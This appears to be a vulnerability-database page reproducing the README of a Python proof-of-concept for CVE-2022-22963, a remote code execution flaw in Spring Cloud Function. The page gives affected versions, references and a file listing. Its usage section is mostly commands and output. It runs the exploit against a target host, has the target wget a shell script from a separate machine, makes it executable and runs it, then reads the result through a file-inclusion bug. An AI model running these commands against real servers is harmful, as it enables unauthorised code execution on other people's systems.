来源

关联漏洞

描述

CVE-2022-22963 RCE PoC in python

介绍

## CVE-2022-22963: Spring4Shell RCE Exploit

This is a python implemetation of Spring4Shell, CVE-2022-22963, affecting services running Spring Cloud Function <=3.1.6 (for 3.1.x) and <=3.2.2 (for 3.2.x).

### Example Usage:

```bash
# serving test.sh on local webserver
$ cat test.sh                                                               
#!/bin/bash
whoami > /tmp/rce

$ python exploit.py 10.10.10.10:8080 'wget http://10.10.10.60/test.sh -O /tmp/test.sh'
[+] Host is vulnerable
[+] Command executed
[+] Exploit completed

$ python exploit.py 10.10.10.10:8080 'chmod +x /tmp/test.sh'             
[+] Host is vulnerable
[+] Command executed
[+] Exploit completed

$ python exploit.py 10.10.10.10:8080 '/tmp/test.sh' 
[+] Host is vulnerable
[+] Command executed
[+] Exploit completed

# Provided you have LFI, you can see the contents of the file created
$ curl -s http://10.10.10.10:8080/LFI?file=/tmp/rce

user
```
### References:
https://www.fastly.com/blog/spring-has-sprung-breaking-down-cve-2022-22963-and-spring4shell-cve-2022

https://github.com/Pizz33/Spring-Cloud-Function-SpEL

文件快照

 [4.0K]  /data/pocs/cee8b00607c86cb2ce2c925941eaf95b9b62be34
├── [1.4K]  exploit.py
├── [1.0K]  LICENSE
└── [1.1K]  README.md

0 directories, 3 files

备注